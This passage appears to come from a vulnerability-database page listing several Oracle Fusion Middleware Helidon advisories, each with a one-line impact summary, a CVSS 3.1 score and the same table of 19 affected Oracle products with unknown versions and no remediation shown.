vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to perform unauthorized data manipulation via HTTP, with a CVSS 3.1 base score of 7.2.
7.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware's Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to modify or delete critical data via HTTP, with a CVSS 3.1 base score of 7.5 indicating high integrity impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows a high-privileged attacker with infrastructure access to compromise the system, potentially leading to unauthorized access to critical data, with a CVSS 3.1 base score of 4.4.
4.4 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.
5.4 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A denial of service vulnerability in Oracle Fusion Middleware's Helidon 3.2.19 allows unauthenticated attackers with HTTP access to hang or crash the server, rated CVSS 3.1 base score 7.5 for availability impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware's Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to access sensitive data via HTTP, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to perform unauthorized data manipulation via HTTP, with a CVSS 3.1 base score of 7.2.
7.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to perform unauthorized data manipulation via HTTP, with a CVSS 3.1 base score of 7.2.
7.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP/2 network access to gain unauthorized sensitive data exposure, rated CVSS 3.1 base score 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A denial of service vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP/2 access to hang or crash the server, rated CVSS 3.1 base score 7.5 for availability impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
